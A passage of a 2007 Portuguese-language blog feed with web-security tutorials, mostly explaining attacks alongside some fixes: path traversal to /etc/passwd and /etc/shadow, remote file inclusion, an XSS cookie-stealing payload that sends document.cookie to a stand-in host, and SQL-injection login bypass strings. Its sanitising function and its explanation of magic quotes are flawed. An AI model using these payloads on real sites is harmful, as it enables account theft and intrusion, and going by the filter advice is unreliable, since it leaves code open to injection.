<a href="http://www.site.com.br/link.php?url=../../../../etc/passwd">www.site.com.br/link.php?url=../../../../etc/passwd</a><br />
<a href="http://www.site.com.br/link.php?url=../../../../etc/shadow">www.site.com.br/link.php?url=../../../../etc/shadow</a></p>
<p align="left">e estão em suas mãos todas as senhas da maquina linux host, HEUAEHUAEHUEAHEAU XD, dai eh so usar um brute force para criptografia DES ou  SHADOW e ta feita a cagada.</p>
<p>Outra coisa que da pra fazer também:<br />
<a href="http://www.site.com.br/link.php?url=www.meusite.com/meuscript.php">www.site.com.br/link.php?url=www.meusite.com/meuscript.php</a></p>
<p>e se o script link.php estiver usando o recurso <strong>include </strong>do php o seu script é lido e executado, lembrando que em meusite não pode ter php ativado pois os codigos php serao interpretados antes e irão sumir de meuscript.php.</p>
<p>Eh isso aew galera!!! Termino aqui os 3 tutos sobre segurança web. Apartir daqui é com vocês!<br />
NÃO ME RESPONSABILIZO PELO MAU USO DAS INFORMAÇÕES DOS MEUS 3 ARTIGOS!</p>
<p>Epero q tenham gostado ^^<br />
Abraços.</p>
<p align="left">Eduardo &#8220;Duzao7667&#8243; A. Ayres.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/duzao7667.wordpress.com/9/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/duzao7667.wordpress.com/9/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/duzao7667.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/duzao7667.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/duzao7667.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/duzao7667.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/duzao7667.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/duzao7667.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/duzao7667.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/duzao7667.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/duzao7667.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/duzao7667.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/duzao7667.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/duzao7667.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/duzao7667.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/duzao7667.wordpress.com/9/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=duzao7667.wordpress.com&amp;blog=1269919&amp;post=9&amp;subd=duzao7667&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://duzao7667.wordpress.com/2007/09/13/seguranca-em-web-sites-parte-3-outros-bugs/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/ba5139b1c89c586aaeb9236e793691a1?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">duzao7667</media:title>
		</media:content>
	</item>
		<item>
		<title>Segurança em Web-Sites. (Parte 2-XSS)</title>
		<link>http://duzao7667.wordpress.com/2007/08/18/seguranca-em-web-sites-parte-2-xss/</link>
		<comments>http://duzao7667.wordpress.com/2007/08/18/seguranca-em-web-sites-parte-2-xss/#comments</comments>
		<pubDate>Sat, 18 Aug 2007 23:36:03 +0000</pubDate>
		<dc:creator>duzao7667</dc:creator>
				<category><![CDATA[Informatica]]></category>
		<category><![CDATA[Programação]]></category>
		<category><![CDATA[Segurança]]></category>
		<category><![CDATA[Truques]]></category>

		<guid isPermaLink="false">http://duzao7667.wordpress.com/2007/08/18/seguranca-em-web-sites-parte-2-xss/</guid>
		<description><![CDATA[Vamos então a parte 2 de nosso tuto de segurança em web-pages xD O XSS-Exploit (Cross Site Scripting) não é nada mais nada menos que inserir scripts ou tiras destes em uma pagina, na maioria das vezes através de posts ou comentarios que são enviados e agregados ao HTML da página. Imagine só se o [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=duzao7667.wordpress.com&amp;blog=1269919&amp;post=8&amp;subd=duzao7667&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Vamos então a parte 2 de nosso tuto de segurança em web-pages xD</p>
<p>O <strong>XSS-Exploit (Cross Site Scripting) </strong>não é nada mais nada menos que inserir scripts ou tiras destes em uma pagina, na maioria das vezes através de posts ou comentarios que são enviados e agregados ao HTML da página.</p>
<p>Imagine só se o hacker resolve carregar um código malicioso em sua página através de um javascript em outra pagina e então junto com seu comentario posta uma tag script:<br />
<font color="#3366ff">Oi </font><font color="#ff0000">&lt;script src=”w</font><font color="#ff0000">ww.site.com/exploit.js</font><font color="#3366ff"><font color="#ff0000">“&lt;/script&gt;</font> galera ! Blz?</font></p>
<p>Quando a pagina com o post for carregada o script se executará e um virus por exemplo pode ser inserido na maquina via JS ou VBscript (sim, incrivel, mas da xD).<br />
O que mais acontece é o hacker pegar o cookie do usuário e salvar atravéz deste script. Mas num tem problema pq meu cookie ta criptografado!!!</p>
<p>Nein Nein!!!! Não são todos os sites que criptografam senhas!! mesmo criptografando-as, elas podem ainda ser descriptografadas diretamente (no caso de criptografia síncrona) ou por força bruta (no caso da assíncrona), sem falar que dependendo das informações no cookie a sua privacidade vai pras cucuias xD.</p>
<p>Para ver seu proprio cookie na pagina que vc esta acessando eh facil, apenas execute um javascript na barra de endereços:<br />
<font color="#ff0000">javascript:alert(document.cookie);</font></p>
<p>&#8230;e ta ai seu cookie do site que você está xD<br />
O script que pega o cookie e armazena no site funciona associado a um php ou asp, veja o que contem no script exploit.js:<br />
<font color="#3366ff">window.location = </font><font color="#ff0000">“</font><font color="#ff0000">http://www.site.com/pegacookie.php?cookie=”+document.cookie</font><font color="#3366ff">;</font></p>
<p>E está salvo seu cookie atravez de um simples php usando metodo GET =S</p>
<p>Mas isto não acontece só em posts mas tambem em GETs como por exemplo neste link:<br />
www.site.com?buscador.php?busca=alguma+coisa+<font color="#ff0000">&lt;script&gt;Alert(”alo!”);&lt;/script</font><font color="#3366ff"><font color="#ff0000">&gt;</font></font></p>
<p>Neste exemplo a variavel busca vai ser passada para o servidor e repassada de volta para o cliente e o script será executado por que estará agregado ao HTML xD<br />
Então podemos perceber que o metodo pra salvar cookies aqui tb funciona se codificarmos a string em URLencode.<br />
Espero que tenham gostado XD</p>
<p>Até a proxima!</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/duzao7667.wordpress.com/8/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/duzao7667.wordpress.com/8/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/duzao7667.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/duzao7667.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/duzao7667.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/duzao7667.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/duzao7667.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/duzao7667.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/duzao7667.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/duzao7667.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/duzao7667.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/duzao7667.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/duzao7667.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/duzao7667.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/duzao7667.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/duzao7667.wordpress.com/8/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=duzao7667.wordpress.com&amp;blog=1269919&amp;post=8&amp;subd=duzao7667&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://duzao7667.wordpress.com/2007/08/18/seguranca-em-web-sites-parte-2-xss/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/ba5139b1c89c586aaeb9236e793691a1?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">duzao7667</media:title>
		</media:content>
	</item>
		<item>
		<title>Segurança em Web-Sites. (Parte 1-SQLInjection)</title>
		<link>http://duzao7667.wordpress.com/2007/08/15/seguranca-em-web-sites-parte-1/</link>
		<comments>http://duzao7667.wordpress.com/2007/08/15/seguranca-em-web-sites-parte-1/#comments</comments>
		<pubDate>Thu, 16 Aug 2007 02:16:02 +0000</pubDate>
		<dc:creator>duzao7667</dc:creator>
				<category><![CDATA[Geral]]></category>
		<category><![CDATA[Informatica]]></category>
		<category><![CDATA[Programação]]></category>
		<category><![CDATA[Segurança]]></category>
		<category><![CDATA[Truques]]></category>

		<guid isPermaLink="false">http://duzao7667.wordpress.com/2007/08/15/seguranca-em-web-sites-parte-1/</guid>
		<description><![CDATA[Começo agora o primeiro de 3 tutos sobre segurança em Web-pages que será publicado aqui no meu blog , serão abordados 3 assuntos: SQL-Injection(Parte 1), XSS Exploiting(Parte2) e outros bugs gerais(Parte 3). então bora começar a parte 1! O SQLInjection é uma falha que permite o hacker executar comandos sql no seu servidor atravez da injeção [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=duzao7667.wordpress.com&amp;blog=1269919&amp;post=7&amp;subd=duzao7667&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p align="left">Começo agora o primeiro de 3 tutos sobre segurança em Web-pages que será publicado aqui no meu blog <img src='http://s0.wp.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> , serão abordados 3 assuntos: SQL-Injection(Parte 1), XSS Exploiting(Parte2) e outros bugs gerais(Parte 3).</p>
<p>então bora começar a parte 1!<br />
O <strong>SQLInjection </strong>é uma falha que permite o hacker executar comandos sql no seu servidor atravez da injeção de comandos SQL na maioria das vezes no metodo http GET. Veja um exemplo….</p>
<p>Temos aqui uma pagina de noticias que le a noticia de ID=3:<br />
<a href="http://www.site.com.br/noticias.php?noticia=3"><u>www.site.com.br/noticias.php?noticia=3</u></a></p>
<p>No script que lê esta noticia o numero 3 pego na variavel GET noticia, é diretamente concatenado com a variavel de requerimento ao SQL:<br />
<font color="#3366ff">mysql_query(&#8220;select * from noticias where id=’&#8221;.$_GET[noticia].&#8221;‘);</font></p>
<p>de modo que se ela é concatenada assim podemos fazer o SQL injection pela propria URL:<br />
<u><a href="http://www.site.com.br/noticias.php?id=1'">www.site.com.br/noticias.php?id=1<font color="#ff0000">&#8216;</font></a></u><font color="#ff0000"> union select * from noticias where id = ‘3′ or id=’</font></p>
<p>que no query SQL fica assim:<br />
<font color="#3366ff">mysql_query(&#8220;select * from noticias where id=’<font color="#ff0000">1‘ union select * from noticias where id = ‘3′ or id=’</font> ‘ &#8220;);</font></p>
<p>então as informacoes de duas noticias são mostradas na tela. o mesmo ocorre para outros casos como senhas informações inportantes etc, basta anular o select com um <font color="#3366ff">&#8220;where&#8221;</font> capenga, fechar o comando SQL com <font color="#3366ff">&#8220;;&#8221;</font> e acrescentar um <font color="#3366ff">&#8220;describe table&#8221;</font> ou <font color="#3366ff">&#8220;show databases&#8221;</font> que o resto vc se encaminha xD</p>
<p>Como podemos acabar com isto??? retirar os comandos sql??? filtrar os operadores????<br />
Tem muita gente que faz isto mas é besteira, a solução é apenas verificar a variavel GET noticia para ver se ela É NUMÉRICA (PHP-is_numeric(string), ASP &#8211; IsNumeric(string) ) filtrar e pronto, qualquer simbolo estranho será retirado.</p>
<p>Agora se a variavel GET for para strings como por exemplo:<br />
<a href="http://www.site.com.br/buscar.php?busca=alguma+coisa">www.site.com.br/buscar.php?busca=alguma+coisa</a></p>
<p>então devemos filtrar qualquer tipo de operador SQL por expressoes regulares ou se preferir no replace (nao recomendo, use só se vc não souber expressões regulares xD), ta ai uma boa função pra filtrar variaveis que vão ser injetadas no SQL:</p>
<p><font color="#339966">function limpa($campo){<br />
$campo = get_magic_quotes_gpc() == 0 ? addslashes($campo) : $campo; //se magic_quotes tiver desligada ok, senao filtra elas xD<br />
$campo = strip_tags($campo); //ranca qualquer tag no campo<br />
return preg_replace(&#8220;@(–|\#|\*|;|=)@s&#8221;, &#8220;&#8221;, $campo); //ranca qualquer operador SQL no campo<br />
}</font></p>
<p>Usando esta funcao sempre para filtrar as variaveis vc estará livre de ataques <font face="Arial"> <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </font></p>
<p><font face="Arial">Mas o que são magic quotes????<br />
</font><font face="Arial">são caracteres codificados alternativos aos normais, por exemplo e &#8221; são respectivamente os caracteres espaço<font color="#3366ff"> ( )</font> e aspas <font color="#3366ff">(&#8220;)</font>, deste modo podemos esconder ou camuflar o ataque por que o preg_replace nao pegaria os magic quotes por nao seres caracteres reais apesar de ser executados como tais.</font><font face="Arial">O segundo tipo de ataques SQL são feitos por variaveis POST que pra quem não sabe são as que são passadas internamente pelo protocolo HTTP através de forms e inputs HTML.</font><font face="Arial">Do mesmo modo as variaves POST são na maioria das vezes concatenadas ao query do SQL também de modo que na entrada de um campo de login e senha como este:</p>
<p><font color="#3366ff">&lt;input name=&#8221;login&#8221;&gt;<br />
&lt;input type=&#8221;password&#8221; name=&#8221;senha&#8221;&gt;</font></font><font face="Arial"></p>
<p></font><font face="Arial">é interpretados no query:<br />
<font color="#3366ff">mysql_query(&#8220;select * from usuarios where login=’&#8221;.$_POST[login].&#8221;‘ senha=’&#8221;.$_POST[senha].&#8221;‘ &#8220;)</p>
<p></font></font><font face="Arial">de modo que podemos injetar instruções SQL pelos campos e burlar a segurança. Se por um exemplo inserirmos o nome do usuario correto mas na senha:<font color="#ff0000"><br />
‘ or 1=1 or senha=’</p>
<p></font></font><font face="Arial">então na query ficaria:<br />
<font color="#3366ff">mysql_query(&#8220;select * from usuarios where login=’doido7667′ and senha=’<font color="#ff0000">‘ or 1=1 or senha=’</font> ‘ &#8220;);</p>
<p></font></font><font face="Arial">como de fato, 1 sera sempre igual a um, heaueahua xD, e estamos dentro do site =X</p>
<p>Use a função limpa que eu ja passei para limpar as variaveis POST tambemOutra coisa que ajuda bastante é apenas renomear o nome da bancos e tabelas inportantes para coisas menos obvias oO</font><font face="Arial">Baum, então esta foi a primeira parte de meu pequeno tutozinho básico de como proteger-se contra ataques contra seu web-site ^^</p>
<p>Espero que tenham gostado,<br />
</font><font face="Arial">abraços.</font></p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/duzao7667.wordpress.com/7/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/duzao7667.wordpress.com/7/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/duzao7667.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/duzao7667.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/duzao7667.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/duzao7667.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/duzao7667.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/duzao7667.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/duzao7667.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/duzao7667.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/duzao7667.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/duzao7667.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/duzao7667.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/duzao7667.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/duzao7667.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/duzao7667.wordpress.com/7/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=duzao7667.wordpress.com&amp;blog=1269919&amp;post=7&amp;subd=duzao7667&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://duzao7667.wordpress.com/2007/08/15/seguranca-em-web-sites-parte-1/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/ba5139b1c89c586aaeb9236e793691a1?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">duzao7667</media:title>
		</media:content>
	</item>
		<item>
		<title>Ajax básico.</title>
		<link>http://duzao7667.wordpress.com/2007/08/12/ajax-basico/</link>
		<comments>http://duzao7667.wordpress.com/2007/08/12/ajax-basico/#comments</comments>
		<pubDate>Sun, 12 Aug 2007 06:12:08 +0000</pubDate>
		<dc:creator>duzao7667</dc:creator>
				<category><![CDATA[Geral]]></category>
		<category><![CDATA[Informatica]]></category>
		<category><![CDATA[Programação]]></category>
		<category><![CDATA[Protocolos]]></category>
		<category><![CDATA[Truques]]></category>

		<guid isPermaLink="false">http://duzao7667.wordpress.com/2007/08/12/ajax-basico/</guid>
		<description><![CDATA[Aeeww!! Segundo post ^^ Dessa vez vou falar um pokim mais sobre Ajax como prometi no post passado. Criando seu proprio objeto Ajax Como falei, o ajax nada mais é que jogar o conteudo um html ou xml carregado assincronamente, atravez do javascript, dentro de um div html que você criou. Para isto precisamos criar [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=duzao7667.wordpress.com&amp;blog=1269919&amp;post=6&amp;subd=duzao7667&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Aeeww!!<br />
Segundo post ^^</p>
<p>Dessa vez vou falar um pokim mais sobre Ajax como prometi no post passado.</p>
<p align="left"><strong>Criando seu proprio objeto Ajax</strong><br />
Como falei, o ajax nada mais é que jogar o conteudo um html ou xml carregado assincronamente,  atravez do javascript, dentro de um div html que você criou.</p>
<p align="left">Para isto precisamos criar o objeto da classe do ajax usada pelo seu navegador, paraque nao haja incompatibilidade usamos esta função:</p>
<p><strong><em><font color="#339966">function criahttp() {<br />
var xmlhttp; //criamos um ponteiro pra armazenar o objeto</p>
<p>try{ //tentamos pra ver se&#8230;.<br />
xmlhttp = new XMLHttpRequest();//&#8230;.o navegador possui a classe ajax pro mozilla, netscape e opera<br />
}catch(e1){<br />
try{//num deu certo o de cima tentamos ver dinovo se&#8230;<br />
xmlhttp = new ActiveXObject(&#8220;Msxml2.XMLHTTP&#8221;);//&#8230;é a versao 2.0 da microsoft<br />
}catch(e2){<br />
try{//e por final vemos se&#8230;.<br />
xmlhttp = new ActiveXObject(&#8220;Microsoft.XMLHTTP&#8221;);//&#8230;é a versao 1.0 da microsoft<br />
}catch(e3){<br />
xmlhttp = false;//setamos o ponteiro como falso<br />
alert(&#8216;Seu navegador não suporta Ajax!&#8217;);//damos os pesames xD<br />
}<br />
}<br />
}<br />
return xmlhttp; //retornamos o resultado que saiu dentro do ponteiro<br />
}</font></em></strong></p>
<p align="left">Então criamos o objeto:<br />
<strong><em><font color="#339966">ajax=criahttp();</font></em></strong></p>
<p align="left">e usamos normalmente.</p>
<p><strong>Metodos da classe ajax<br />
</strong>Como qualquer objeto/classe nossa classe criada tem metodos a serem usados, no nosso caso usaremos os metodos mais comuns:</p>
<ul>
<li><strong>open(<em>metodo,url</em>,<em>assinc</em>) &#8211; </strong>Ex de uso: <strong>open(&#8216;<em>GET</em>&#8216;,&#8217;<em>pagina.html</em>&#8216;,<em>true</em>) &#8211; </strong>Abre a conexão ao conteúdo;</li>
<li><strong>readyState() &#8211; </strong>checa se o conteudo ja foi carregado e esta pronto para ser exibido;</li>
<li><strong>responseText &#8211; </strong>retorna os dados recebidos na requisição;</li>
<li><strong>state() &#8211; </strong>retorna o codigo HTTP de reposta ao pedido open;</li>
<li><strong>status() &#8211; </strong>retorna o código do estado da requisição HTTP;</li>
<li><strong>statusText() &#8211; </strong>retorna o texto do estado da requisição HTTP;</li>
<li><strong>send() &#8211; </strong>inicia a requisição</li>
</ul>
<p>Então abrimos uma conexão com um html qualquer DENTRO dos dominios do seu site, por que o ajax por motivos de segurança não abre paginas exteriores a seu dominio, nao adianta tentar procurar no goole por uma solução, por que não tem xD, então seguimos com  o código:</p>
<p><font color="#339966"><strong><em>conteudo=getElementById(&#8220;seu_div&#8221;); //pegamos o handle do div de retorno<br />
conteudo.</em></strong><strong><em>innerHTML= &#8220;&lt;b&gt;Carregando&#8230;&lt;/b&gt;&#8221;; //imprimimos &#8220;Carregando&#8221; no div </em></strong></font></p>
<p><strong><em><font color="#339966">ajax.open(&#8220;GET&#8221;, &#8220;pagina.html&#8221;,true); //abrimos a pagina &#8220;pagina.html&#8221; com o ajax<br />
ajax.send(NULL); //prosseguimos com a requisição</font></em></strong></p>
<p><strong><em><br />
</em></strong>E então esperamos a resposta a resposta de sucesso à requisição e jogamos o que foi pego dentro do div:</p>
<p><font color="#339966"><strong>ajax.onreadystatechange=function() {//cria uma função para ser chamada qndo o estado do ajax mudar</strong></font><br />
<font color="#339966"><em><strong>if (ajax.readyState==4){ //checa se o estado<br />
if (ajax.status == 200) { //checa se o codigo HTTP retornado for &#8220;ok&#8221; (200)&#8230;</strong></em><br />
</font><em><strong><font color="#339966">   //Lê o texto retornado na requisição<br />
var texto=ajax.responseText;</font></strong></em></p>
<p><em><strong><font color="#339966">  //tira o urlencode<br />
texto=texto.replace(/\+/g,&#8221; &#8220;);<br />
texto=unescape(texto);</font></strong></em></p>
<p><em><strong><font color="#339966"> //Exibe o texto no div de resposta<br />
var conteudo=document.getElementById(&#8220;seu_div&#8221;);<br />
conteudo.innerHTML=texto;<br />
} else { //Senão, se o servidor retornou outro código que não seja &#8220;200&#8243;, mostrar o erro.<br />
alert(&#8216;Erro na requisição HTTP! &#8220;&#8216;+ ajax.statusText +&#8217;&#8221; (erro &#8216;+ ajax.status +&#8217;)');<br />
}<br />
}</font></strong></em></p>
<p><em><strong><font color="#339966">}</font></strong></em></p>
<p>Sabendo disto você ja pode usar o ajax da maneira que queira ^^, se você esta boiando em algo sugiro aprender mais sobre o protocolo HTTP ou javascript.</p>
<p>Abraços.<br />
Eduardo &#8220;Duzao7667&#8243; A. Ayres</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/duzao7667.wordpress.com/6/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/duzao7667.wordpress.com/6/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/duzao7667.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/duzao7667.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/duzao7667.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/duzao7667.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/duzao7667.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/duzao7667.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/duzao7667.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/duzao7667.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/duzao7667.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/duzao7667.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/duzao7667.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/duzao7667.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/duzao7667.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/duzao7667.wordpress.com/6/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=duzao7667.wordpress.com&amp;blog=1269919&amp;post=6&amp;subd=duzao7667&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://duzao7667.wordpress.com/2007/08/12/ajax-basico/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/ba5139b1c89c586aaeb9236e793691a1?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">duzao7667</media:title>
		</media:content>
	</item>
		<item>
		<title>Estreia do blog.</title>
		<link>http://duzao7667.wordpress.com/2007/08/05/estreia-do-blog/</link>
		<comments>http://duzao7667.wordpress.com/2007/08/05/estreia-do-blog/#comments</comments>
		<pubDate>Sun, 05 Aug 2007 21:01:54 +0000</pubDate>
		<dc:creator>duzao7667</dc:creator>
				<category><![CDATA[Geral]]></category>

		<guid isPermaLink="false">http://duzao7667.wordpress.com/2007/08/05/estreia-do-blog/</guid>
		<description><![CDATA[Aew!! To estreiando meu blog agora, apesar de ter criado ele no começo do ano xD. Posso dizer que mês passado foi um mês bem produtivo. Migrei o fórum da unidev inteiro, fiz uma pagina para uma empresa de minha cidade e ainda me aprofundei em javascript e fiz um modulo em ajax que estou [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=duzao7667.wordpress.com&amp;blog=1269919&amp;post=5&amp;subd=duzao7667&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Aew!!</p>
<p>To estreiando meu blog agora, apesar de ter criado ele no começo do ano xD.</p>
<p>Posso dizer que mês passado foi um mês bem produtivo. Migrei o fórum da unidev inteiro, fiz uma pagina para uma empresa de minha cidade e ainda me aprofundei em javascript e fiz um modulo em ajax que estou integrando ao php e batizando de DajaX &#8211; Direct Ajax, ou se preferir, Duzao Ajax, eahuaehuheu xD que futuramente penso em implantar na UD</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Um pouco mais de detalhes sobre meus trabalhos xD:</p>
<p align="center"><strong>Passos na migração do fórum UniDev:</strong></p>
<p>* Anotei todas as tabelas e campos do banco de dados do forum Sntiz(antigo) e do phpBB (novo).<br />
* Relacionei as tabelas e os campos com suas respectivas funções.<br />
* Verifiquei as diferenças entre os dois bancos e como poderiam ser acertadas<br />
* Criei os scripts que leen as informações de um banco e reformate tudo para o outro.<br />
* Dei replace para os bbcodes e smiles para os mais compatíveis<br />
* Usando as proprias funcoes internas do phpBB eu refinei os bbcodes e os smiles<br />
* Por final corrigi as discrepancias nos ranks baseado no userlevel do banco antigo</p>
<p>Agora resta reintegrar o site em asp com o em php, o que nao vai ser nada facil xD</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p align="center"><strong>Uma breve introdução do que é Ajax:</strong></p>
<p>Ajax não é nada mais nada menos que um modulo do navegador atraves do javascript que chama blocos de paginas html dentro de blocos de um ja aberto. Imagine como um iframe, mas ele realmente está na mesma pagina html que esta sendo exibida e voce tem total controle sobre ela.<br />
O conteudo é carregado em divs assincronamente, e pode ser interagido em tempo real tanto com javascript e html quanto com o CSS. A função chave para as requisicoes http assincronas é o objeto xmlhttp().<br />
Breve colocarei mais informações xD</p>
<p>Obrigado pela atenção, e até a próxima! o/</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/duzao7667.wordpress.com/5/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/duzao7667.wordpress.com/5/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/duzao7667.wordpress.com/5/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/duzao7667.wordpress.com/5/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/duzao7667.wordpress.com/5/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/duzao7667.wordpress.com/5/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/duzao7667.wordpress.com/5/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/duzao7667.wordpress.com/5/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/duzao7667.wordpress.com/5/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/duzao7667.wordpress.com/5/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/duzao7667.wordpress.com/5/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/duzao7667.wordpress.com/5/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/duzao7667.wordpress.com/5/"><img alt="" border="0" 